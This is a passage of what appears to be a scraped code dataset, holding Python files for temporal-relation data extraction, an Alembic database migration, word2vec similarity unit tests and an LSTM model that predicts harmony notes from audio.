all_sentences[order[-2]] + \" {} \".format(se_label) + label + \" \" + all_sentences[order[-1]]\n left = event + \" \" + storyline\n if len(left.split()) < 128:\n f_out.write(left + \"\\t\" + answer + \"\\n\")\n\n\ndef get_relevant_phrase(words, tags):\n ret = \"\"\n for i, t in enumerate(tags):\n if t != \"O\" and \"ARGM-TMP\" not in t:\n ret += words[i] + \" \"\n return ret.strip()\n\n\ndef get_verb_idx(tags):\n for i, t in enumerate(tags):\n if t == \"B-V\":\n return i\n return None\n\n\nmonths = {'januray': 1, 'jan':1, 'feburary':2, 'feb':2, 'march':3,'mar':3,'april':4,'apr':4,'may':5,'june':6,'jun':6,'july':7,'jul':7,'august':8,'aug':8,'september':9,'sep':9,'october':10,'oct':10,'november':11,'nov':11,'december':12,'dec':12}\n\n\ndef get_int_val(tok):\n year = None\n try:\n year = int(tok)\n except:\n pass\n return year\n\n\nclass TimeStruct:\n def __init__(self, minute, hour, day, month, year):\n self.minute = minute\n self.hour = hour\n self.day = day\n self.month = month\n self.year = year\n\n def __str__(self):\n return \"{} {} {} {}:{}\".format(str(self.year), str(self.month), str(self.day), str(self.hour), str(self.minute))\n\n\ndef extract_in(toks):\n year = None\n month = None\n for i, t in enumerate(toks):\n if t == \"in\" and i < len(toks) - 1:\n if year is not None or month is not None:\n break\n if toks[i+1] in months:\n month = months[toks[i+1]]\n if i+2 < len(toks):\n year = get_int_val(toks[i+2])\n else:\n year = get_int_val(toks[i+1])\n \n return TimeStruct(None, None, None, month, year)\n\n\ndef extract_on(toks):\n month = None\n year = None\n date = None\n for i, t in enumerate(toks):\n if t == \"on\":\n for j in range(i+1, min(i+5, len(toks))):\n if toks[j] in months:\n month = months[toks[j]]\n else:\n cur_tok = toks[j]\n if cur_tok.endswith(\"th\") or cur_tok.endswith(\"rd\") or cur_tok.endswith(\"st\"):\n cur_tok = cur_tok[:-2]\n intval = get_int_val(cur_tok)\n if intval is not None:\n if 1000 < intval < 3000:\n year = intval\n elif 0 < intval < 32:\n date = intval\n if date != None or year != None or month != None:\n break\n return TimeStruct(None, None, date, month, year)\n\n\ndef extract_at(toks):\n hour = None\n minute = None\n for i, t in enumerate(toks):\n if t == \"at\" and i < len(toks) - 1:\n cr_tok = toks[i+1]\n pm_override = False\n found_unit = False\n if cr_tok.endswith(\"pm\"):\n cr_tok = cr_tok[:-2]\n pm_override = True\n found_unit = True\n if cr_tok.endswith(\"am\"):\n cr_tok = cr_tok[:-2]\n found_unit = True\n if \":\" in cr_tok:\n hour = get_int_val(cr_tok.split(\":\")[0])\n if hour is not None and hour > 24:\n hour = None\n minute = get_int_val(cr_tok.split(\":\")[1])\n if minute is not None and minute > 59:\n minute = None\n else:\n hour = get_int_val(cr_tok)\n if hour is not None and hour > 24:\n hour = None\n for j in range(i+1, min(i+6, len(toks))):\n if toks[j] in [\"am\", \"a.m\", \"a.m.\" \"pm\", \"p.m\", \"p.m.\", \"afternoon\", \"morning\", \"day\"]:\n found_unit = True\n if not found_unit:\n hour = None\n for j in range(i+1, min(i+6, len(toks))):\n if toks[j] in [\"p.m\", \"p.m.\", \"pm\", \"afternoon\"] or pm_override:\n if hour is not None and hour < 12:\n hour += 12\n if hour is not None and hour > 24:\n hour = None\n return TimeStruct(minute, hour, None, None, None)\n\n\ndef combine_timex(l):\n ret = TimeStruct(None, None, None, None, None)\n for t in l:\n if t.minute is not None:\n ret.minute = t.minute\n if t.hour is not None:\n ret.hour = t.hour\n if t.day is not None:\n ret.day = t.day\n if t.month is not None:\n ret.month = t.month\n if t.year is not None:\n ret.year = t.year\n return ret\n\n\ndef get_useful_count(timex):\n ret = 0\n if timex.minute is not None:\n ret += 1\n if timex.hour is not None:\n ret += 1\n if timex.day is not None:\n ret += 1\n if timex.month is not None:\n ret += 1\n if timex.year is not None:\n ret += 1\n return ret\n\n\ndef default_timex(timex):\n ret_cpy = copy.deepcopy(timex)\n month_mapping = {\n \"january\": 1,\n \"february\": 2,\n \"march\": 3,\n \"april\": 4,\n \"may\": 5,\n \"june\": 6,\n \"july\": 7,\n \"august\": 8,\n \"september\": 9,\n \"october\": 10,\n \"november\": 11,\n \"december\": 12,\n }\n if timex.year is None:\n ret_cpy.year = 2000\n if timex.month is None:\n ret_cpy.month = 1\n else:\n ret_cpy.month = month_mapping[timex.month]\n if timex.day is None:\n ret_cpy.day = 1\n if timex.hour is None:\n ret_cpy.hour = 0\n if timex.minute is None:\n ret_cpy.minute = 0\n return ret_cpy\n\n\ndef get_label(diff_in_hours):\n if 0 < diff_in_hours < 0.5:\n return \"\"\n if 0.5 <= diff_in_hours < 12.0:\n return \"\"\n if 12.0 <= diff_in_hours < 84.0:\n return \"\"\n if 84.0 <= diff_in_hours < 336.0:\n return \"\"\n if 336.0 <= diff_in_hours < 4320.0:\n return \"\"\n if 4320 <= diff_in_hours < 43800.0:\n return \"\"\n return \"\"\n\n\ndef calc_label(timex_1, timex_2):\n timex_1 = default_timex(timex_1)\n timex_2 = default_timex(timex_2)\n\n timex_1_val = timex_1.year * 8760.0 + (timex_1.month - 1) * 720.0 + (timex_1.day - 1) * 24.0 + timex_1.hour * 1.0 + (timex_1.minute / float(60.0))\n timex_2_val = timex_2.year * 8760.0 + (timex_2.month - 1) * 720.0 + (timex_2.day - 1) * 24.0 + timex_2.hour * 1.0 + (timex_2.minute / float(60.0))\n if timex_1_val == timex_2_val:\n return None, None\n if timex_1_val < timex_2_val:\n return \"before\", get_label(abs(timex_2_val - timex_1_val))\n else:\n return \"after\", get_label(abs(timex_2_val - timex_1_val))\n\n#srl_objs is the prediction\ndef extract_timex(srl_objs):\n idx_accum = 0\n verb_phrase_to_tmp_map = {}\n paragraph = \"\"\n for srl_obj in srl_objs:\n for verb in srl_obj['verbs']:\n verb_phrase = get_relevant_phrase(srl_obj['words'], verb['tags'])\n tok_group = []\n for i, t in enumerate(verb['tags']):\n if \"ARGM-TMP\" in t:\n tok_group.append(srl_obj['words'][i].lower())\n t_1 = extract_on(tok_group)\n t_2 = extract_in(tok_group)\n t_3 = extract_at(tok_group)\n timex = combine_timex([t_1, t_2, t_3])\n if get_verb_idx(verb['tags']) is None:\n continue\n map_idx = get_verb_idx(verb['tags']) + idx_accum\n verb_phrase_to_tmp_map[map_idx] = [verb_phrase, timex]\n idx_accum += len(srl_obj['words'])\n paragraph += \" \".join(srl_obj['words']) + \" \"\n\n minute_record = None\n hour_record = None\n day_record = None\n month_record = None\n year_record = None\n final_list = []\n for i in range(0, idx_accum + 200):\n if i in verb_phrase_to_tmp_map:\n phrase, timex = verb_phrase_to_tmp_map[i]\n if timex.minute is not None:\n minute_record = timex.minute\n else:\n timex.minute = minute_record\n if timex.hour is not None:\n hour_record = timex.hour\n else:\n timex.hour = hour_record\n if timex.day is not None:\n day_record = timex.day\n else:\n timex.day = day_record\n if timex.month is not None:\n month_record = timex.month\n else:\n timex.month = month_record\n if timex.year is not None:\n year_record = timex.year\n else:\n timex.year = year_record\n if get_useful_count(timex) != 0 and len(phrase.split()) > 3:\n final_list.append([phrase, timex])\n\n counter_map = {\n }\n all_sentences = []\n for srl_obj in srl_objs:\n all_sentences.append(get_no_tmp_phrase(srl_obj))\n random.shuffle(all_sentences)\n concat = \"\"\n concat_counter = 0\n # concat = paragraph\n while len(concat.split()) < 128:\n if concat_counter >= len(all_sentences):\n break\n concat += all_sentences[concat_counter] + \" \"\n concat_counter += 1\n ret = []\n for i, (phrase_1, timex_1) in enumerate(final_list):\n for j in range(i+1, len(final_list)):\n phrase_2, timex_2 = final_list[j]\n tmp_label, dist_label = calc_label(timex_1, timex_2)\n if tmp_label is None:\n continue\n ret.append([concat, phrase_1, phrase_2, tmp_label, dist_label])\n if dist_label not in counter_map:\n counter_map[dist_label] = 0\n counter_map[dist_label] += 1\n return ret\n\ndef flip_label(l):\n if l == \"before\":\n return \"after\"\n return \"before\"\n\n\ndef format_train_t5_paragraph_with_distance():\n all_stories = [x.strip() for x in open(\"tmp_output.txt\").readlines()]\n all_srl = [x.strip() for x in open(\"wikipedia_srl_parsed.txt\").readlines()]\n srl_map = {}\n f_out = open(\"t5_wikiparagraph_with_distance.txt\", \"w\")\n for srl in all_srl:\n obj = json.loads(srl)\n for sent in obj:\n key = \"\".join(sent['words']).lower().replace(\" \", \"\")\n srl_map[key] = sent\n all_results = []\n for story in all_stories:\n sentences = story.split(\"\\t\")\n if sentences[0].startswith(\"-----------\"):\n continue\n srl_objs = []\n for m, sentence in enumerate(sentences):\n sent_key = sentence.replace(\" \", \"\").lower()\n if sent_key not in srl_map:\n continue\n srl_objs.append(srl_map[sent_key])\n all_results += extract_timex(srl_objs)\n key_limit = {}\n random.shuffle(all_results)\n for story, phrase_1, phrase_2, tmp_label, dist_label in all_results:\n if dist_label not in key_limit:\n key_limit[dist_label] = 0\n key_limit[dist_label] += 1\n if key_limit[dist_label] > 100000:\n continue\n right = \"story: {}\".format(story)\n if random.random() < 0.5:\n phrase_first = phrase_2\n phrase_second = phrase_1\n gold_label = flip_label(tmp_label)\n if random.random() < 0.5:\n display_label = gold_label\n answer_label = \"positive\"\n else:\n display_label = flip_label(gold_label)\n answer_label = \"negative\"\n left = \"event: {} starts {} {}\".format(phrase_first, display_label, phrase_second)\n answer = \"answer: {} {}\".format(answer_label, dist_label)\n else:\n phrase_first = phrase_1\n phrase_second = phrase_2\n gold_label = tmp_label\n if random.random() < 0.5:\n display_label = gold_label\n answer_label = \"positive\"\n else:\n display_label = flip_label(gold_label)\n answer_label = \"negative\"\n left = \"event: {} starts {} {}\".format(phrase_first, display_label, phrase_second)\n answer = \"answer: {} {}\".format(answer_label, dist_label)\n f_out.write(left + \" \" + right + \"\\t\" + answer + \"\\n\")\n\n\ndef stater():\n lines = [x.strip() for x in open(\"t5_train_combined_distance.txt\").readlines()]\n max_len = 0\n all_len = 0.0\n for l in lines:\n if len(l.split()) > 200:\n max_len += 1\n print(max_len)\n\n\ndef recognize_num(s):\n try:\n _ = int(s)\n return True\n except:\n if s.lower() in [\"a\", \"an\", \"several\", \"many\", \"some\", \"few\", \"couple\", \"of\"]:\n return True\n else:\n try:\n a = w2n.word_to_num(s)\n if a is not None:\n return True\n else:\n return False\n except:\n return False\n\n\ndef match_for_pattern(path):\n file_paths = []\n for dirName, subdirList, fileList in os.walk(path):\n for subdir in subdirList:\n p = os.path.join(path, subdir)\n for d, s, f in os.walk(p):\n for ff in f:\n file_path = os.path.join(p, ff)\n file_paths.append(file_path)\n f_out = open(\"wikipedia_duration_paragraphs.txt\", \"w\")\n for ii, f in enumerate(file_paths):\n if ii % 10 == 0:\n print(100.0 * float(ii) / float(len(file_paths)))\n documents = []\n cur_doc = []\n lines = [x.strip() for x in open(f).readlines()]\n for i, line in enumerate(lines):\n if line.startswith(\" 0:\n documents.append(cur_doc)\n cur_doc = []\n else:\n cur_doc.append(line)\n if i == len(lines) - 1:\n cur_doc.append(line)\n documents.append(cur_doc)\n cur_doc = []\n for document in documents:\n for doc in document[1:-1]:\n doc = cleanhtml(doc)\n tokens = doc.split()\n first_non_num = -1\n valid = False\n for i, t in enumerate(tokens):\n if t.lower() == \"for\":\n for j in range(i+1, len(tokens)):\n if not recognize_num(tokens[j]):\n first_non_num = j\n break\n\n if first_non_num > -1 and tokens[first_non_num].lower() in [\n \"second\", \"seconds\", \"minute\", \"minutes\", \"hour\", \"hours\", \"day\", \"days\", \"week\", \"weeks\", \"month\",\n \"months\", \"year\", \"years\", \"decade\", \"decades\", \"century\", \"centuries\"\n ]:\n valid = True\n if valid:\n f_out.write(doc + \"\\n\")\n\n\ndef gen_duration_srl():\n lines = [x.strip() for x in open(\"wikipedia_duration_paragraphs.txt\").readlines()]\n nlp = spacy.load(\"en_core_web_sm\", disable='ner')\n f_out = open(\"wikipedia_duration_to_srl.txt\", \"w\")\n counter = {}\n for line in lines:\n doc = nlp(line)\n for sent in doc.sents:\n tokens = []\n for tt in sent:\n tokens.append(str(tt))\n first_non_num = -1\n for i, t in enumerate(tokens):\n if t.lower() == \"for\":\n for j in range(i + 1, len(tokens)):\n if not recognize_num(tokens[j]):\n first_non_num = j\n break\n\n if first_non_num > -1 and tokens[first_non_num].lower() in [\n \"second\", \"seconds\", \"minute\", \"minutes\", \"hour\", \"hours\", \"day\", \"days\", \"week\", \"weeks\", \"month\",\n \"months\", \"year\", \"years\", \"decade\", \"decades\", \"century\", \"centuries\"\n ]:\n if tokens[first_non_num].lower() not in counter:\n counter[tokens[first_non_num].lower()] = 0\n counter[tokens[first_non_num].lower()] += 1\n f_out.write(\" \".join(tokens) + \"\\n\")\n print(counter)\n\n\ndef gen_filter_srl():\n #lines = [x.strip() for x in open(\"wikipedia_duration_to_srl.txt\").readlines()]\n #f_out = open(\"wikipedia_duration_to_srl_real.txt\", \"w\")\n lines = []\n f_out = []\n random.shuffle(lines)\n counter = {}\n for line in lines:\n tokens = line.split()\n first_non_num = -1\n for i, t in enumerate(tokens):\n if t.lower() == \"for\":\n for j in range(i + 1, len(tokens)):\n if not recognize_num(tokens[j]):\n first_non_num = j\n break\n\n if first_non_num > -1 and tokens[first_non_num].lower() in [\n \"second\", \"seconds\", \"minute\", \"minutes\", \"hour\", \"hours\", \"day\", \"days\", \"week\", \"weeks\", \"month\",\n \"months\", \"year\", \"years\", \"decade\", \"decades\", \"century\", \"centuries\"\n ]:\n if tokens[first_non_num].lower() not in counter:\n counter[tokens[first_non_num].lower()] = 0\n counter[tokens[first_non_num].lower()] += 1\n if counter[tokens[first_non_num].lower()] > 10000:\n continue\n f_out.write(line + \"\\n\")\n\n\ngen_filter_srl()","repo_name":"alexfffff/temporalextraction","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":22797,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"26884282919","text":"\"\"\"empty message\n\nRevision ID: 2b2e31f5e9ae\nRevises: 6c220ff1f993\nCreate Date: 2020-04-04 00:56:49.496600\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '2b2e31f5e9ae'\ndown_revision = '6c220ff1f993'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('artist', sa.Column('art_shows', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'artist', 'venue', ['art_shows'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'artist', type_='foreignkey')\n op.drop_column('artist', 'art_shows')\n # ### end Alembic commands ###\n","repo_name":"chadhendon/fyyur","sub_path":"class_project/fyyur/starter_code/migrations/versions/2b2e31f5e9ae_.py","file_name":"2b2e31f5e9ae_.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10289409296","text":"from sklearn.metrics.pairwise import cosine_similarity\n\nfrom gensim.models import KeyedVectors\nfrom pre_process.regex.regex_parser import RegexParser\nimport unittest\nimport numpy as np\n\n\nclass SimilarityTest(unittest.TestCase):\n def setUp(self) -> None:\n self.test_str = \"아 피자 먹고 싶어!!\"\n\n def test_consine_sim(self):\n model_path = \"../word2vec/model/w2v_model\"\n model = KeyedVectors.load(model_path, mmap=\"r\")\n\n vec_1 = model.wv[\"피자\"]\n vec_2 = model.wv[\"치킨\"]\n vec_3 = model.wv[\"삼겹살\"]\n\n res_1 = cosine_similarity(vec_1.reshape(1, -1), vec_2.reshape(1, -1))\n res_2 = cosine_similarity(vec_1.reshape(1, -1), vec_3.reshape(1, -1))\n\n self.assertTrue(res_1 > res_2)\n\n def test_sum_vector(self):\n vec_1 = np.array([1, 2, 3, 4])\n expected = np.array([4., 8., 12., 16.])\n sum_ = np.zeros(4)\n\n for i in range(4):\n sum_ = np.add(sum_, vec_1)\n\n self.assertTrue(np.array_equal(sum_, expected))\n\n def test_mean_vector(self):\n vec_1 = np.array([1, 2, 3, 4])\n expected = np.array([1., 2., 3., 4.])\n sum_ = np.zeros(4)\n\n for i in range(4):\n sum_ = np.add(sum_, vec_1)\n\n mean_ = np.divide(sum_, 4)\n self.assertTrue(np.array_equal(mean_, expected))\n\n def test_most_sim(self):\n model_path = \"../word2vec/model/w2v_model\"\n model = KeyedVectors.load(model_path, mmap=\"r\")\n sum_vec = np.zeros(300)\n count = 0\n hangul = RegexParser.get_hangul(self.test_str)\n print(hangul)\n\n for word in hangul:\n try:\n vec = model.wv[word]\n sum_vec = np.add(sum_vec, vec)\n count += 1\n except KeyError as e:\n print(e)\n\n self.assertTrue(count == 1)\n\n mean_vec = np.divide(sum_vec, count)\n most_sim = model.wv.most_similar(mean_vec, topn=10)\n\n self.assertTrue(len(most_sim) == 10)\n self.assertTrue('피자' == most_sim[0][0])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n\n\n","repo_name":"eugene0204/person_model","sub_path":"test/test_similarity.py","file_name":"test_similarity.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9400950892","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import optim\nimport numpy as np\nimport librosa, math\nimport glob\nimport os.path\nimport mido\nimport time\nimport random\nfrom mido import MidiFile\nfrom mido import MidiTrack\nfrom mido import Message\nimport soundfile\nfrom utils.spectral_whitening import *\n\nclass LSTM_Harmonizer(nn.Module) :\n #-------------------------------------------------------------------------------------------\n def __init__(self, session_directory, data_directory, use_cpu=False) :\n super(LSTM_Harmonizer, self).__init__()\n \n #inclusive of both\n self.lowest_midi_note = 36\n self.highest_midi_note = 96\n \n self.sequence_length = 256\n \n #self.dft_num_audio_samples = 2048\n #self.input_size = 572\n self.dft_num_audio_samples = 4096\n self.input_size = 1144\n self.hop_size = self.dft_num_audio_samples // 2\n self.hidden_size = 256\n\n self.output_size = self.highest_midi_note - self.lowest_midi_note + 1 + 1 #one extra for silence\n self.num_lstm_layers = 1\n \n self.lstm_input_size = self.hidden_size\n self.lstm_hidden_size = self.hidden_size\n \n #supposedly runs faster with batch_first = false\n self.lstm = nn.LSTM(input_size=self.lstm_input_size, hidden_size=self.lstm_hidden_size, num_layers=self.num_lstm_layers, batch_first=False)\n\n #self.middle_layer = nn.Linear(self.lstm_input_size, self.lstm_hidden_size)\n #self.middle_activation = torch.nn.ReLU()\n \n #plus 1 for counter\n self.layer_1 = torch.nn.Linear(self.input_size + self.output_size, self.hidden_size);\n self.activation_1 = torch.nn.ReLU()\n self.layer_3 = torch.nn.Linear(self.lstm_hidden_size, self.output_size);\n self.activation_3 = torch.nn.Sigmoid()\n \n self.histogram_decay_coeff = 0.75\n \n #this helps these get saved and restored correctly.\n self.use_cpu = use_cpu\n self.sample_rate = 44100\n self.session_directory = session_directory\n self.data_directory = data_directory\n self.__saved_checkpoint_batch = nn.Parameter(torch.IntTensor([0]), requires_grad=False)\n self.__sample_rate = nn.Parameter(torch.FloatTensor([self.sample_rate]), requires_grad=False)\n self.model_save_prefix = \"model_\"\n \n whitening_init_band_center_freqs()\n \n # display num params\n self.num_params()\n\n #-------------------------------------------------------------------------------------------\n def save_checkpoint(self, num_batches):\n path = os.path.join(self.session_directory, self.model_save_prefix + str(num_batches).zfill(6) + \".checkpoint\")\n self.__saved_checkpoint_batch[0] = num_batches;\n torch.save(self.state_dict(), path);\n #old_checkpoints = glob.glob(os.path.join(self.session_directory, self.model_save_prefix) + \"*\");\n #for checkpoint in old_checkpoints:\n # if checkpoint != path:\n # os.remove(checkpoint);\n print(\"Saved \" + path + \" at batch \" + str(num_batches));\n \n #-------------------------------------------------------------------------------------------\n def restore_if_checkpoint_exists(self, session_directory) :\n saved_model = glob.glob(os.path.join(session_directory, self.model_save_prefix) + \"*.checkpoint\")\n if len(saved_model) > 0:\n saved_model = sorted(saved_model)[-1];\n #todo: can't I check whether the state was loaded successfully?\n model = None\n model = torch.load(saved_model, map_location=\"cpu\")\n \n #if torch.cuda.is_available():\n # model = torch.load(saved_model, map_location='gpu')\n #else:\n # model = torch.load(saved_model, map_location='cpu')\n\n self.load_state_dict(model)\n self.session_directory = session_directory\n #self.sample_rate = self.__sample_rate.item()\n print(\"Restoring checkpoint: {} pretrained with {} batches\".format(saved_model, self.__saved_checkpoint_batch[0]))\n else:\n print(\"Creating Session: \" + session_directory)\n\n #-------------------------------------------------------------------------------------------\n def get_saved_num_batches(self):\n return self.__saved_checkpoint_batch.item()\n\n #-------------------------------------------------------------------------------------------\n def calculate_audio_features(self, audio):\n n = len(audio)\n \n #apply hanning window\n audio = np.multiply(audio, np.hanning(n))\n \n #pad to length 2n\n audio = np.pad(audio, (0, n), 'constant', constant_values=(0, 0))\n \n #compute DFT\n spectra = np.fft.rfft(audio)\n \n #whitening\n spectra = spectra[0:self.dft_num_audio_samples]\n spectra = abs(spectra)\n spectral_whitening(spectra)\n #spectra = spectra[5:577]\n spectra = spectra[10:1154]\n return spectra;\n \n #cancel noise\n #for i in range(len(spectra)) :\n # if abs(spectra[i]) < 0.0002 : #-74 dB\n # spectra[i]= 0+0j\n \n #square it(dft of autocorrelation)\n #conjuga = np.conjugate(spectra)\n #spectra = np.multiply(spectra, conjuga)\n \n #spectra = np.real(spectra)\n #compute autocorrelation\n #spectra = np.fft.irfft(spectra, 2*n)\n #audio = spectra[:self.input_size]\n \n #dont normalize audio, tried it, made a lot of crap in the silent sections\n #normalize audio\n #max = audio[0]\n #if max > 0 :\n # audio = np.multiply(audio, 1/max)\n \n #return audio\n \n\n #-------------------------------------------------------------------------------------------\n def get_active_MIDI_notes_in_time_range_sequence(self, midi_file, seq_start_secs, hop_secs, num_windows):\n running_time = 0\n running_notes = []\n result = []\n window_start_secs = seq_start_secs;\n midi_index = 0;\n midi = []\n \n for msg in midi_file :\n midi.append(msg)\n \n for i in range(num_windows) :\n result.append(running_notes.copy())\n while running_time < (window_start_secs+hop_secs) :\n if(midi_index >= len(midi)):\n break;\n msg = midi[midi_index]\n if (running_time + msg.time) > (window_start_secs + hop_secs) :\n break;\n \n midi_index += 1\n running_time += msg.time\n \n if msg.type == 'note_on':\n running_notes.append(msg);\n \n if running_time > window_start_secs :\n reattack = False\n for m in result[i]:\n if (m.note == msg.note) and (m.channel == msg.channel):\n reattack = True\n break;\n if not reattack:\n result[i].append(msg)\n if msg.type == 'note_off':\n for m in running_notes:\n if (m.note == msg.note) and (m.channel == msg.channel):\n running_notes.remove(m)\n \n window_start_secs += hop_secs;\n \n for i in range(len(result)):\n for j in range(len(result[i])) :\n result[i][j] = (result[i][j]).note;\n \n return result;\n \n #-------------------------------------------------------------------------------------------\n def get_active_MIDI_notes_in_time_range(self, midi, start_secs, end_secs):\n running_time = 0\n active_notes = []\n result = []\n \n for msg in midi:\n running_time += msg.time\n \n if running_time > end_secs:\n break;\n \n elif running_time < start_secs:\n if msg.type == 'note_on':\n active_notes.append(msg);\n if msg.type == 'note_off':\n for m in active_notes:\n if (m.note == msg.note) and (m.channel == msg.channel):\n active_notes.remove(m)\n \n else: #start_secs < running_secs < end_secs\n if msg.type == 'note_on':\n reattack = False\n for m in active_notes:\n if (m.note == msg.note) and (m.channel == msg.channel):\n reattack = True\n break;\n if not reattack:\n active_notes.append(msg)\n \n #if not msg.is_meta\n for m in active_notes:\n result.append(m.note);\n \n return result;\n\n #-------------------------------------------------------------------------------------------\n def output_notes_to_vector(self, notes):\n vector = np.zeros(self.output_size);\n last_note_index = 0\n \n #rest\n if len(notes) == 0 :\n last_note_index = self.output_size-1\n vector[last_note_index] = 1\n\n for note in notes:\n while note > self.highest_midi_note:\n note -= 12\n while note < self.lowest_midi_note:\n note += 12\n #++output_array[note]\n last_note_index = note-self.lowest_midi_note\n vector[last_note_index] = 1\n return vector, last_note_index\n\n #-------------------------------------------------------------------------------------------\n def output_notes_to_vector_sequence(self, notes):\n vector = [];\n last_note_index = []\n \n #convert non-overlapping to overlapping windows\n for i in range(len(notes)-1):\n vector.append(np.zeros(self.output_size))\n last_note_index.append(0)\n \n #rest\n if len(notes[i]) == 0 :\n last_note_index[i] = self.output_size-1\n vector[i][last_note_index[i]] = 1\n\n for note in notes[i]:\n while note > self.highest_midi_note:\n note -= 12\n while note < self.lowest_midi_note:\n note += 12\n last_note_index[i] = note-self.lowest_midi_note\n vector[i][last_note_index[i]] = 1\n\n for note in notes[i+1]:\n while note > self.highest_midi_note:\n note -= 12\n while note < self.lowest_midi_note:\n note += 12\n last_note_index[i] = note-self.lowest_midi_note\n vector[i][last_note_index[i]] = 1\n \n #just take the last note, not multiple f0\n #vector[i][last_note_index[i]] = 1\n\n return vector, last_note_index\n\n #-------------------------------------------------------------------------------------------\n def get_random_training_filename_pair(self, is_training=True):\n training_folder = \"Training\" if is_training else \"Validation\"\n audio_directory = os.path.join(self.data_directory, training_folder, \"Audio\")\n midi_directory = os.path.join(self.data_directory, training_folder, \"MIDI\")\n\n #any with at least 2 voices:\n #input_voice_mask = random.choice([3, 5, 6, 7, 9, 10, 11, 12, 13, 14, 15]);\n #Any with at least one missing voice:\n input_voice_mask = random.randint(1, 14)\n #FOR TOY DATA #input_voice_mask = random.choice([1, 8]);\n \n #get midi file with missing voice\n free_voices = [];\n for i in range(4):\n if (input_voice_mask & (1 << i)) == 0:\n free_voices.append(i)\n \n output_voice_mask = 1 << (free_voices[random.randint(0, len(free_voices)-1)]);\n #output_voice_mask = 8 if (input_voice_mask == 1) else 1\n\n #get midi file with included voice\n #included_voices = [];\n #for i in range(4):\n # if(input_voice_mask & (1 << i)) != 0:\n # included_voices.append(i)\n\n #output_voice_mask = 1 << (random.choice(included_voices));\n\n\n wavs = glob.glob(audio_directory + \"/*_{}.wav\".format(input_voice_mask));\n wav = wavs[random.randint(0, len(wavs)-1)];\n \n mid = os.path.basename(wav)\n mid = mid.replace(\"_{}.wav\".format(input_voice_mask), \"_{}.mid\".format(output_voice_mask))\n #mid = mid.replace(\".wav\", \".mid\")\n mid = os.path.join(midi_directory, mid)\n return wav, mid\n \n #-------------------------------------------------------------------------------------------\n def get_random_training_sequence_from_file(self, wav_filename, midi_filename):\n wav, sr = librosa.load(wav_filename, sr=self.sample_rate, mono=True)\n sequence_length_in_samples = (self.sequence_length*self.hop_size-1) + self.dft_num_audio_samples\n wav_length_in_samples = len(wav)\n if wav_length_in_samples < (wav_length_in_samples):\n print(\"{} could not be loaded because it is too short.\".format(audio_filename))\n return None, None\n \n input_vectors = [];\n start_sample = np.random.randint(self.dft_num_audio_samples, wav_length_in_samples-sequence_length_in_samples-self.hop_size-1)\n for i in range(self.sequence_length):\n s = start_sample + (i*self.hop_size)\n input_vectors.append(wav[s : s+self.dft_num_audio_samples])\n input_vectors[i] = self.calculate_audio_features(input_vectors[i])\n \n output_vectors = []\n midi_file = MidiFile(midi_filename)\n\n start_secs = start_sample / sr\n end_secs = (start_sample + self.dft_num_audio_samples) / sr\n\n hop_secs = self.hop_size / sr\n seq_start_secs = start_sample / sr\n #end_seq_secs = seq_start_secs + (hop_secs * (self.sequence_length+2)) #one extra for overlapping windows, one for predictive output\n end_seq_secs = seq_start_secs + (hop_secs * (self.sequence_length+1)) #one extra for overlapping windows (multi f0 version)\n \n #num_windows_file_start_to_seq_end = math.ceil(end_seq_secs / hop_secs)\n #window_of_seq_start = num_windows_file_start_to_seq_end - self.sequence_length - 1; #1 for overalpping window\n #time_of_first_file_window = end_seq_secs - (hop_secs * num_windows_file_start_to_seq_end) #slightly negative\n\n notes = self.get_active_MIDI_notes_in_time_range_sequence(midi_file, seq_start_secs-hop_secs, hop_secs, (self.sequence_length+2))\n #notes = self.get_active_MIDI_notes_in_time_range_sequence(midi_file, time_of_first_file_window, hop_secs, num_windows_file_start_to_seq_end)\n \n onehot_outputs, output_indices = self.output_notes_to_vector_sequence(notes)\n\n i=0;\n #counter = 1;\n #histogram = np.zeros(self.output_size);\n \n current_onehot_output = onehot_outputs[0]\n current_output_note = output_indices[0]\n\n for i in range(self.sequence_length):\n #histogram *= self.histogram_decay_coeff;\n #histogram[current_output_note] = 1;\n \n next_onehot_output = onehot_outputs[i+1]\n next_output_note = output_indices[i+1]\n\n output_vectors.append(next_onehot_output)\n input_vectors[i] = np.concatenate((input_vectors[i], current_onehot_output))\n #input_vectors[i-window_of_seq_start] = np.concatenate((input_vectors[i-window_of_seq_start], current_onehot_output, [counter]))\n\n\n #if(next_output_note != current_output_note) :\n # counter = 1;\n #else :\n # counter = counter + 1;\n\n current_onehot_output = next_onehot_output\n current_output_note = next_output_note;\n\n return input_vectors, output_vectors\n\n #-------------------------------------------------------------------------------------------\n def get_random_training_sequence(self, is_training=True):\n\n wav, mid = self.get_random_training_filename_pair()\n x, y = self.get_random_training_sequence_from_file(wav, mid)\n return x, y\n\n #-------------------------------------------------------------------------------------------\n def get_random_training_batch(self, examples_per_batch, is_training=True):\n input_data = [];\n output_data = [];\n #training_folder = \"Training\" if is_training else \"Validation\"\n #wav_paths = glob.glob(os.path.join(self.data_directory, \"Training\", \"Audio/*.wav\"))\n \n for i in range(examples_per_batch):\n wav, mid = self.get_random_training_filename_pair()\n x, y = self.get_random_training_sequence_from_file(wav, mid)\n input_data.append(x)\n output_data.append(y)\n\n #LSTM wants the indices to be [sequence][batch][inputs]\n #torch.transpose(input_data , 0, 1)\n #torch.transpose(output_data, 0, 1)\n \n #jk, just output [batch][seq][inputs] because it is going into FF, and output of that will have to be separately transposed\n\n return input_data, output_data\n \n #-------------------------------------------------------------------------------------------\n def num_params(self) :\n parameters = filter(lambda p: p.requires_grad, self.parameters())\n parameters = sum([np.prod(p.size()) for p in parameters]) / 1000000\n print('Trainable Parameters: %.3f million' 